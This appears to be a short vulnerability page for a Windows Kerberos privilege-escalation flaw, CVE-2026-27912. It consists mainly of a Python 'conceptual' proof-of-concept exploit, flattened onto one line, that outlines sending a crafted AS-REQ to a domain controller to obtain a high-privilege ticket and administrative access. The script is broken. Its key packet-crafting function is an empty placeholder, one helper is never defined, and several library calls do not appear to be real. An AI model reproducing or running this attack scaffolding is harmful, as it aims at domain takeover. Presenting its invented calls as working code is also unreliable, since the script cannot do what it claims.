CVE-2026-27912 Windows Kerberos权限提升漏洞

# Proof of Concept for CVE-2026-27912 (Conceptual) # This script demonstrates the logic of the privilege escalation vulnerability. # Note: Actual exploitation requires a valid low-priv account and network adjacency. import socket from impacket.krb5.kerberosv5 import sendReceive def exploit_kerberos_vuln(target_ip, low_priv_account, low_priv_password): """ Attempts to exploit the improper authorization in Windows Kerberos. """ print(f"[*] Targeting {target_ip} with account {low_priv_account}") # 1. Construct a malicious AS-REQ request designed to bypass authorization checks # This step simulates the crafted packet that triggers the vulnerability crafted_as_req = build_malicious_as_req(low_priv_account) try: # 2. Send the request to the KDC (Domain Controller) response = sendReceive(crafted_as_req, target_ip, 88) if response.isTGT(): print("[+] Successfully obtained a high-privilege TGT!") print("[!] Vulnerability CVE-2026-27912 confirmed.") # 3. Use the TGT to request a service ticket for administrative access admin_ticket = request_service_ticket(response, "cifs/target-admin") return admin_ticket else: print("[-] Exploit failed or target patched.") return None except Exception as e: print(f"[!] Error during exploitation: {e}") return None def build_malicious_as_req(account): """ Helper function to create a malformed Kerberos request. Implementation depends on specific protocol flaw details. """ # Placeholder for packet crafting logic pass # Disclaimer: For educational and authorized security testing only.